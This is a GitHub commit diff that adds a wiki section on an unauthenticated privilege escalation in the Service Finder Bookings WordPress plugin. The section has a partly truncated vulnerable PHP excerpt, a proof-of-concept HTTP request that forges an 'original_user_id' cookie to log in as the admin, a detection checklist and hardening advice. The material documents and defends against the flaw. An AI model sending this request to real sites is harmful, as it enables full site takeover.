You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
612
+
613
+
Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
614
+
615
+
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
616
+
617
+
```php
618
+
function service_finder_submit_user_form(){
619
+
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
wp_die('No original user found to switch back to.');
643
+
}
644
+
```
645
+
646
+
Why it’s exploitable
647
+
648
+
- Public `init` hook makes the handler reachable by unauthenticated users (no `is_user_logged_in()` guard).
649
+
- Identity is derived from a client-modifiable cookie (`original_user_id`).
650
+
- Direct call to `wp_set_auth_cookie($uid)` logs the requester in as that user without any capability/nonce checks.
651
+
652
+
Exploitation (unauthenticated)
653
+
654
+
```http
655
+
GET /?switch_back=1 HTTP/1.1
656
+
Host: victim.example
657
+
Cookie: original_user_id=1
658
+
User-Agent: PoC
659
+
Connection: close
660
+
```
661
+
662
+
Expected success indicators
663
+
664
+
- Redirect to a plugin page (e.g., `/wp-admin/admin.php?page=candidates`).
665
+
- New WordPress auth cookies issued; browser session becomes that user (ID 1 is commonly the first admin).
666
+
667
+
Detection checklist
668
+
669
+
- Access logs showing `?switch_back` (or `?switch_user=<id>`) in unauthenticated requests immediately followed by WordPress auth cookie issuance and a redirect to admin pages.
670
+
- Inbound requests carrying `Cookie: original_user_id=*` on public endpoints.
671
+
- Error pages triggered by `wp_die('Original user not found')` / `wp_die('No original user found…')` indicating probing.
672
+
673
+
Hardening
674
+
675
+
- Do not place login/state-changing flows on public `init`. Use `admin_post_*`/`wp_ajax_*` handlers and enforce `is_user_logged_in()` plus strong capability checks (e.g., `current_user_can('administrator')`).
676
+
- Never derive identity from client cookies. Store the “original user” server-side (user meta) or use a signed, expiring token bound to the actor and verify it.
677
+
- Make state-changing actions POST-only and require CSRF nonces (`check_admin_referer()` / `wp_verify_nonce()`).
678
+
- Remove any `wp_ajax_nopriv_` exposure for these flows.
679
+
680
+
Impact
681
+
682
+
- Unauthenticated privilege escalation to any account, including administrator, leading to full site takeover.
683
+
684
+
---
685
+
611
686
### WAF considerations for WordPress/plugin CVEs
612
687
613
688
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
@@ -722,5 +797,7 @@ The server responds with the contents of `wp-config.php`, leaking DB credentials
722
797
-[Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
-[Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
801
+
-[Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
0 commit comments